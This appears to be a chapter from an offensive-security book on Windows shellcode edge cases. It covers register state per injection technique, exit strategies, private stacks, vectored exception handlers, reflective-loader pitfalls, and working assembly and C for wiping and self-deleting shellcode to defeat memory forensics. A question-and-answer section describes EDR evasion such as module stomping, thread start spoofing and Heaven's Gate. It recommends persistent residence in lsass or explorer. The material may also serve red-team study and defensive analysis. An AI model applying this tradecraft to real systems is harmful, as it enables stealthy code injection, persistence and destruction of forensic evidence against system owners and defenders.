Shellcode Edge Cases
The testing harnesses from Chapter 11 run shellcode in the cleanest possible environment. The real world is messier: the entry register state depends on how you were injected, the stack may have been through several threads, exit must be coordinated with the host process, and some injection techniques impose hard constraints that break standard shellcode patterns. This chapter catalogs every significant edge case, explains exactly what breaks and why, and gives you fixes that work across all injection methods.
Entry Register State by Injection Method
The single most common class of shellcode bugs: assuming register values at entry. Each injection method delivers shellcode with a different register state. If you assume RCX is null and it holds a pointer to something, you'll clobber that pointer if your code writes to RCX before reading it. If you assume RSP is aligned and it isn't, your first API call crashes with MOVAPS.
CreateRemoteThread():
─────────────────────────────────────────────────────────────────
RCX = lpParameter (the argument you passed to CreateRemoteThread)
Often: address of a parameter struct, or your shellcode address
RDX, R8, R9 = garbage from thread startup (ntdll internal state)
RSP = valid but alignment NOT guaranteed to be 16-byte at entry
All other volatile registers: undefined
Non-volatile registers (RBX, R12-R15, RBP, RDI, RSI): initialized
by thread startup sequence — typically zero or ntdll values
Action:
and rsp, ~0xF ; force 16-byte alignment
sub rsp, 8 ; or use "and rsp, -16" for alignment
; save RCX if it's your parameter struct
push rcx ; save parameter pointer
QueueUserAPC() / NtQueueApcThread():
─────────────────────────────────────────────────────────────────
RCX = the ULONG_PTR argument to the APC
RDX = APC-related system parameter (may be 0)
R8 = APC-related system parameter (may be 0)
RSP = hijacked thread's current RSP — NOT guaranteed aligned
Important: You're executing in another thread's context.
That thread's stack is borrowed. You're using its
stack space — the thread continues on this stack after
your APC returns. Be careful with stack usage!
Action:
and rsp, ~0xF ; align
push rbp ; save frame pointer (use non-volatile saves to be safe)
; Minimize stack usage — you're on borrowed stack
SetThreadContext() (Thread Context Hijacking):
─────────────────────────────────────────────────────────────────
ALL registers: whatever the hijacked thread had — completely unknown
RSP: the hijacked thread's RSP value — NOT aligned, NOT safe to use
Action (critical — you CANNOT use this stack):
; Switch to your own stack IMMEDIATELY as the first instruction:
xchg rsp, [rel my_stack_top] ; swap to a pre-allocated stack
; Or use an absolute address if known:
mov rsp, 0x???????????????? ; your allocated stack top
; Allocate a private stack with VirtualAlloc BEFORE injecting
; then patch the address into your shellcode or pass as a parameter
Process Hollowing (NtResumeThread on new process):
─────────────────────────────────────────────────────────────────
Register state: OS-initialized for new process startup
RSP: OS-allocated main thread stack — properly aligned
RCX, RDX: OS startup parameters (process/thread info)
Action: Safe to proceed after standard prologue alignment check
Manual Map / DLL side-loading (via DllMain):
─────────────────────────────────────────────────────────────────
RCX = hinstDLL (your DLL's base address in memory)
RDX = fdwReason (1 = DLL_PROCESS_ATTACH, 2 = THREAD_ATTACH, etc.)
R8 = lpvReserved (NULL for dynamic loads)
RSP: properly aligned (the loader aligns before calling DllMain)
Action: Check RDX == 1 before running your payload (don't run on
DLL_THREAD_ATTACH and DLL_PROCESS_DETACH); Universal shellcode entry preamble — safe for all injection methods
; First instruction handles RSP alignment regardless of entry state.
BITS 64
global shellcode_entry
shellcode_entry:
; Save volatile registers we don't want to destroy
; (in case caller (APC scheduler, CreateRemoteThread wrapper) needs them)
push rax
push rcx ; save parameter (may be useful to shellcode logic)
; Align RSP to 16-byte boundary
; "and rsp, ~0xF" zeroes the low 4 bits — guarantees 16-byte alignment
; Equivalent: and rsp, 0xFFFFFFFFFFFFFFF0
and rsp, -16 ; NASM: -16 = 0xFFFFFFFFFFFFFFFF0
; Allocate shadow space + local storage
sub rsp, 0x28 ; 32 shadow + 8 extra (maintains alignment after the above)
; Now it's safe to make API calls
; Restore saved values from earlier pushes
; (our "push rax / push rcx" happened BEFORE the alignment, so RSP was modified.
; We need to account for this in our addressing.)
; Actually: the pushes changed RSP by -16, then "and rsp,-16" may change it further.
; The saved values are at unpredictable offsets now. Don't try to restore via RSP.
; BETTER: save to non-volatile registers or dedicated stack slots:
mov r14, rcx ; save entry parameter in non-volatile R14
; ... shellcode main logic ...
add rsp, 0x28
retExit Strategies — How Shellcode Should Terminate
How you exit depends on the injection context. The wrong exit strategy either leaks the thread, crashes the host process, or causes deadlock. There are four distinct scenarios:
Injection via CreateRemoteThread → shellcode runs as a new thread
─────────────────────────────────────────────────────────────────
Correct exit: ExitThread(0) or just "ret" (returns to thread startup wrapper)
DO NOT: ExitProcess() — kills the entire host process!
DO NOT: leave the thread running forever — handle leak
DO: Clean up your VirtualAlloc'd memory if not needed anymore,
then ExitThread(0)
Injection via QueueUserAPC → shellcode runs as an APC in target's thread
─────────────────────────────────────────────────────────────────
Correct exit: "ret" — the APC wrapper will resume the thread's alertable wait
DO NOT: ExitThread() — kills the thread you've borrowed!
DO NOT: ExitProcess() — kills the entire process!
DO: Just "ret" after your work. Keep stack balanced.
If you've added things to the stack, pop them before ret.
Injection via process hollowing → shellcode runs as the process main
─────────────────────────────────────────────────────────────────
Correct exit: ExitProcess(0) or NtTerminateProcess(GetCurrentProcess(), 0)
The shellcode IS the process — calling ExitThread would leave a broken
process alive. Call ExitProcess to cleanly shut down.
Injection via SetThreadContext hijack → shellcode running in target thread
─────────────────────────────────────────────────────────────────
Correct exit: Restore the original thread context and resume it.
This is complex: you need to have saved the original CONTEXT struct
before overwriting it, then restore it with SetThreadContext and
resume the thread. Often simpler to just let the thread exit and
accept that the host process may crash. Not for production use.
For shellcode that won't return to the caller (e.g., a full agent):
─────────────────────────────────────────────────────────────────
Option A: Stay in your own thread, event-loop forever, ExitThread when done.
Option B: Inject into a long-lived process (explorer, lsass) and stay resident.
Option C: Spawn a new process, inject into it, let your thread exit cleanly.; Clean exit pattern for CreateRemoteThread injection
; After shellcode work is done:
.shellcode_exit:
; Clean up our RWX allocation (optional — it lives until process exits)
; mov rcx, [rel my_alloc_addr]
; xor rdx, rdx
; mov r8d, MEM_RELEASE ; 0x8000
; call qword [rel pVirtualFree]
; ExitThread(0) — doesn't kill the process, just this thread
xor ecx, ecx ; exit code = 0
call qword [rel pExitThread]
ud2 ; unreachable — crash hard if ExitThread somehow returnsStack Depth and Guard Pages
Every thread's stack has a finite size and a guard page at the bottom. Shellcode that calls deeply nested functions (or allocates large stack frames) can hit the guard page and trigger a stack overflow exception:
Thread stack (default 1MB = 0x100000 bytes)
┌──────────────────────────────────────────────────────────┐
│ Stack Top (RSP initial value) │ ← high address
│ ...stack grows downward as functions push/call... │
│ │
│ [stack frames in use] │
│ │
│ [available stack space] │
│ │
├──────────────────────────────────────────────────────────┤
│ Guard Page (one 4KB page before stack bottom) │ ← triggers stack probe
│ Accessing this page raises EXCEPTION_STACK_OVERFLOW │
├──────────────────────────────────────────────────────────┤
│ Stack Bottom │ ← low address
└──────────────────────────────────────────────────────────┘
For APC injection (borrowed stack):
The hijacked thread's available stack space depends on how deeply it was
executing when you intercepted it. If it was deep in a call chain with
only 10KB of stack left, and your shellcode uses 20KB of stack, you'll
hit the guard page and crash the thread.
Mitigation for APC/context-hijack injection:
Allocate your own stack with VirtualAlloc BEFORE injection:
stack_top = VirtualAlloc(0, 0x100000, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
shellcode_RSP = stack_top + 0x100000 - 8 // start at top, aligned
Switch to it at the very first instruction of your shellcode.// Allocate private stack before injecting (in the injecting process)
LPVOID alloc_private_stack(void) {
SIZE_T STACK_SIZE = 0x100000; // 1MB private stack
LPVOID stack = VirtualAlloc(NULL, STACK_SIZE,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!stack) return NULL;
// RSP starts at the top of the stack, 16-byte aligned
return (BYTE*)stack + STACK_SIZE - 16;
}
// Patch this value into your shellcode before injecting,
// or pass it via the lpParameter to CreateRemoteThread.Re-Entrancy — When the Same Code Runs Twice
Re-entrancy problems occur when your shellcode can execute in multiple threads simultaneously. This happens when you: inject the same shellcode into multiple threads, have shellcode that creates new threads that also call back into the same code, or use hooks that call your shellcode for every intercepted event:
// BAD: global state in shellcode (non-reentrant)
static PVOID g_pVirtualAlloc = NULL; // global function pointer
static PVOID g_allocated_buf = NULL; // global buffer
void shellcode_entry(void) {
// If two threads run this simultaneously, both write to g_pVirtualAlloc
// and g_allocated_buf. One overwrites the other's setup.
g_pVirtualAlloc = find_and_resolve_VirtualAlloc();
g_allocated_buf = ((fn_VirtualAlloc)g_pVirtualAlloc)(
NULL, 0x1000, 0x3000, 0x40);
// Use g_allocated_buf...
// RACE: second thread may overwrite g_allocated_buf before first uses it
}
// GOOD: all state on the stack (reentrant)
void shellcode_entry(void) {
PVOID pVirtualAlloc = find_and_resolve_VirtualAlloc(); // local
PVOID buf = ((fn_VirtualAlloc)pVirtualAlloc)( // local
NULL, 0x1000, 0x3000, 0x40);
// Use buf — each thread has its own copy, no race
}The rule: all shellcode function pointers, work buffers, and state should live on the stack (as local variables). Never use static or global variables in shellcode that might run in multiple threads. The ApiTable struct from Chapter 7 is already designed this way — it's stack-allocated in each function that needs it.
Using Vectored Exception Handlers From Shellcode
Vectored Exception Handlers (VEH) can be registered from shellcode to catch and handle exceptions — useful for self-protection and for catching API failures gracefully:
// VEH registration from shellcode
// Requires: RtlAddVectoredExceptionHandler from ntdll
typedef u32 (__stdcall *PVECTORED_EXCEPTION_HANDLER)(struct _EXCEPTION_POINTERS*);
typedef PVOID (__stdcall *fn_RtlAddVEH)(u32 first, PVECTORED_EXCEPTION_HANDLER handler);
typedef u32 (__stdcall *fn_RtlRemoveVEH)(PVOID registration);
// The VEH callback — called for any exception in this process
static u32 __stdcall my_veh(void* exc_ptrs) {
// EXCEPTION_POINTERS* ep = (EXCEPTION_POINTERS*)exc_ptrs;
// EXCEPTION_RECORD* rec = ep->ExceptionRecord;
// CONTEXT* ctx = ep->ContextRecord;
//
// u32 code = rec->ExceptionCode;
// if (code == EXCEPTION_ACCESS_VIOLATION) { ... handle or continue }
// if (code == EXCEPTION_BREAKPOINT) { ... handle INT3 }
// Return EXCEPTION_CONTINUE_EXECUTION (0xFFFFFFFF) to continue after the fault
// Return EXCEPTION_CONTINUE_SEARCH (0x00000000) to pass to next handler
return 0xFFFFFFFF; // EXCEPTION_CONTINUE_EXECUTION
}
void setup_veh(void) {
PVOID ntdll = find_mod_hash(ntdll_hash);
fn_RtlAddVEH pAddVEH = (fn_RtlAddVEH)find_export_hash(ntdll, addveh_hash);
if (!pAddVEH) return;
// Add as FIRST handler (parameter 1 = first in chain, 0 = last)
PVOID veh_handle = pAddVEH(1, my_veh);
// Do risky work here...
// Remove VEH when done
fn_RtlRemoveVEH pRemVEH = (fn_RtlRemoveVEH)find_export_hash(ntdll, remveh_hash);
if (pRemVEH) pRemVEH(veh_handle);
}VEH handlers are per-process, not per-thread. Registering a VEH from shellcode affects every exception in the host process. If your VEH handler has a bug (misidentifies an exception and returns CONTINUE_EXECUTION for something that should propagate), it can corrupt the host process in subtle ways that are extremely hard to debug. Always remove your VEH handler as soon as the risky section ends.
APC Injection Constraints
User-mode APCs in Windows only execute when the target thread enters an alertable wait — a call to SleepEx(0, TRUE), WaitForSingleObjectEx(..., TRUE), or MsgWaitForMultipleObjectsEx(). If the target thread never calls an alertable wait, your APC sits in the queue and never fires:
APC firing condition:
─────────────────────────────────────────────────────────────────
Thread must be in an alertable wait state.
Common alertable-wait callers in Windows:
→ User32.dll message loops (GetMessageEx with alertable flags)
→ SleepEx(ms, TRUE) — frequently used in servicing threads
→ WaitForSingleObjectEx(handle, ms, TRUE) — common in UI threads
→ ReadFileEx / WriteFileEx completion routines
→ Explorer.exe, Notepad.exe, many GUI applications
Non-alertable (APC won't fire):
→ SleepEx(ms, FALSE) — most common Sleep calls
→ WaitForSingleObject() without the Ex variant
→ Code stuck in a tight loop with no wait
→ System service threads (often use non-alertable waits)
Known-good APC targets (alertable wait common):
→ explorer.exe threads (runs alertable waits in shell loop)
→ Notepad.exe, calc.exe, other GUI apps
→ Any GUI thread that processes messages
Poor APC targets:
→ csrss.exe (system critical)
→ lsass.exe (system critical; APC may not fire predictably)
→ Short-lived processes that exit before alertable wait
APC code constraints:
─────────────────────────────────────────────────────────────────
1. Must return (via "ret") — cannot call ExitThread or ExitProcess
2. Must be stack-balanced — the thread continues on this stack after return
3. Must avoid using large stack allocations
4. Should not call Sleep() (may cause the thread to miss an event it was waiting for)
5. Execution time should be short — long-running APCs hold up the target threadReflective Loader Edge Cases
The reflective PE loader from Chapter 12 covers the happy path. Real-world PE files have edge cases that break naive loaders:
Edge case 1: SizeOfImage doesn't match actual section layout ───────────────────────────────────────────────────────────────── Some PE packing tools miscalculate or intentionally obfuscate SizeOfImage. Fix: Walk all section headers and compute max(VirtualAddress + VirtualSize) across all sections; use that as the true allocation size. Edge case 2: Sections have VirtualSize = 0 ───────────────────────────────────────────────────────────────── Rare but legal: VirtualSize = 0 means "use SizeOfRawData as VirtualSize." Fix: Use max(VirtualSize, SizeOfRawData) when computing section size. Edge case 3: Forwarded imports (import resolves to another DLL) ───────────────────────────────────────────────────────────────── Example: kernel32!HeapAlloc actually forwards to ntdll!RtlAllocateHeap. GetProcAddress handles forwarding transparently. Your manual import resolver must: - Call GetProcAddress (which handles forwarding) rather than manually walking exports - Or: detect forwarding and recursively resolve to the final DLL Edge case 4: Bound imports (pre-resolved addresses baked in) ───────────────────────────────────────────────────────────────── Some PE files have their IAT pre-resolved (bound imports) for fast startup. These pre-resolved addresses are stale if the DLL loaded at a different base. Fix: Ignore bound import entries; always re-resolve every import from scratch. (Check IMAGE_OPTIONAL_HEADER.DllCharacteristics for IMAGE_DLLCHARACTERISTICS_NO_BIND) Edge case 5: Delay-loaded imports ───────────────────────────────────────────────────────────────── Delay-loaded DLLs are loaded only when first called; they have their own import descriptor table (DataDirectory[13]). Fix: For the typical use case (shellcode running a lightweight DLL), delay imports may not be used. If the stage 2 agent uses delay-loaded DLLs, handle DataDirectory[13] or accept that those features may not work. Edge case 6: TLS callbacks ───────────────────────────────────────────────────────────────── Thread Local Storage callbacks (DataDirectory[9]) run BEFORE the entry point in a normally loaded process. A reflective loader must manually call all TLS callbacks in order before calling DllMain/entry. Fix: Walk DataDirectory[9] IMAGE_TLS_DIRECTORY; call each callback in AddressOfCallBacks array.
Memory Cleanup — Covering Your Tracks
Shellcode that runs, succeeds, and then leaves no artifacts is much harder to investigate forensically. Three cleanup operations matter most:
// cleanup.c — wipe shellcode from memory after execution
void cleanup_after_shellcode(void* sc_base, size_t sc_size,
fn_VirtualFree pVF, fn_VirtualProtect pVP) {
// Step 1: Overwrite shellcode bytes with zeros
// This removes the bytes from memory (forensic memory acquisition
// won't find the original shellcode bytes).
// But: the allocation itself still exists in the VAD (Virtual Address Descriptor)
// until we free it.
volatile u8* p = (volatile u8*)sc_base; // volatile prevents optimization
for (size_t i = 0; i < sc_size; i++) p[i] = 0;
// Step 2: Free the allocation
// This removes the VAD entry — forensic tools won't see the allocation.
// But: we're calling this FROM the shellcode, which is IN the allocation we're freeing!
// We can't VirtualFree our own current code page.
// Solution A: create a small "cleanup thread" that runs from a different allocation
// Solution B: use an asynchronous cleanup via APC or timer
// Solution C: don't free the allocation — just zero it and accept the VAD entry remains
// Simple: overwrite then continue (VAD remains, but bytes are gone)
// Advanced: see "self-deleting shellcode" pattern below
}; Self-deleting shellcode pattern:
; After shellcode runs, jump to a tiny cleanup stub that frees the allocation.
; The cleanup stub lives in a SEPARATE allocation (not the one being freed).
; This pattern requires:
; 1. Two allocations: one for shellcode, one for the cleanup stub
; 2. Cleanup stub: frees allocation 1, then frees itself
; cleanup_stub.asm — lives in allocation 2
; Called from shellcode entry with:
; RCX = base address of allocation 1 (shellcode itself)
; RDX = address of VirtualFree function
BITS 64
cleanup_stub:
push rbx
push r12
mov r12, rdx ; save VirtualFree address
; Free allocation 1 (shellcode)
; VirtualFree(base, 0, MEM_RELEASE=0x8000)
; RCX already = shellcode base from caller
xor edx, edx ; dwSize = 0 (required for MEM_RELEASE)
mov r8d, 0x8000 ; MEM_RELEASE
call r12 ; VirtualFree(sc_base, 0, MEM_RELEASE)
; Now free our own allocation (cleanup stub's allocation)
; But same problem: we're in it!
; Use ExitThread after freeing shellcode — let OS clean up cleanup stub allocation
; (the allocation persists until process exits, but shellcode bytes are gone)
pop r12
pop rbx
xor ecx, ecx
; call ExitThread(0) here
retQuestions & Answers
Why does APC injection sometimes work and sometimes not, even on the right process?
The target thread must be in an alertable wait at the exact moment you queue the APC. If the thread is actively executing code or in a non-alertable wait, the APC sits in the queue. In some processes, the thread enters an alertable wait every few milliseconds (message loop, timer processing) — in those cases, the APC fires almost immediately. In others, alertable waits are rare or non-existent. To maximize reliability: (1) queue the APC when the thread is likely to be idle (alertable waits are most common when the application is "doing nothing"); (2) target threads that are specifically servicing timers or I/O (these use alertable waits heavily); (3) use NtTestAlert after injection to force the thread to drain its APC queue (but this requires the target thread to call it). The unreliability is why many mature frameworks prefer CreateRemoteThread over APC for reliable execution.
What is an "unbacked" thread and why do EDRs flag it?
A "backed" thread has its start address inside a loaded module (DLL or EXE) — the stack trace shows legitimate module names. An "unbacked" thread has its start address in memory that isn't mapped to any file — it shows up as "unknown" or a raw hex address in process explorers. This is the fingerprint of shellcode executing from a VirtualAlloc'd region: the shellcode has no module backing it. Modern EDRs watch for thread start addresses outside of all loaded modules. Mitigations include: (1) Module stomping — overwriting an already-loaded DLL's text section with shellcode, making the address appear "backed"; (2) Thread start spoofing — passing a legitimate-looking start address to CreateRemoteThread while the real payload is queued as an APC; (3) Running shellcode only in processes where the start address monitoring is less aggressive.
Can shellcode survive indefinitely in memory, or will Windows eventually clean it up?
Windows doesn't have a garbage collector for VirtualAlloc'd memory. An allocation persists until you call VirtualFree, or until the process exits (at which point the OS releases all memory). So shellcode in a long-lived process (explorer.exe, lsass.exe) can survive indefinitely — reboots are the only thing that reliably clears it. This is the fundamental value of memory-resident implants: forensic analysts examining a running machine see them in memory dumps; analysts who get the machine after it reboots see nothing (assuming the shellcode left no disk artifacts). Caveat: memory forensics tools like Volatility can detect VirtualAlloc'd executable regions that aren't backed by disk images, and these show up in automated triage tools as suspicious even on live machines.
What's the "Heaven's Gate" technique and when does it matter for shellcode?
Heaven's Gate is a technique for making 64-bit system calls from a 32-bit (WoW64) process by switching to 64-bit mode temporarily. It matters for shellcode when your shellcode runs in a 32-bit host process on a 64-bit OS. The challenge: 32-bit WoW64 processes run through a translation layer, and many 64-bit EDR features (kernel callbacks, ETW-TI) only monitor the 64-bit side. Shellcode using Heaven's Gate can make native NT syscalls that bypass WoW64 instrumentation. The implementation uses a far jump (jmp 0x33:your_64bit_code) to switch CS to the 64-bit code segment (0x33 on Windows x64 WoW64), execute 64-bit code, then return to 32-bit mode. This is an advanced evasion technique covered in depth in Part 7 of this book.
How do I handle the case where my shellcode's reflective loader maps at the wrong base and ASLR puts it somewhere I didn't expect?
The reflective loader already handles this through the relocation section processing (Step 5 in Chapter 12's loader). When the loader calculates delta = mapped_base - preferred_base and applies it to every HIGHLOW or DIR64 relocation, it's adjusting all absolute addresses in the PE to match the actual load address. If delta is 0 (preferred base was available), no relocations are applied. If delta is non-zero (ASLR moved it), all absolute addresses — vtable pointers, jump tables, pointer data in sections — are adjusted by the delta. The loader works correctly for any mapping address as long as the PE has a relocation table (.reloc section). PEs compiled with /FIXED or stripped of relocations will crash if loaded at a non-preferred base.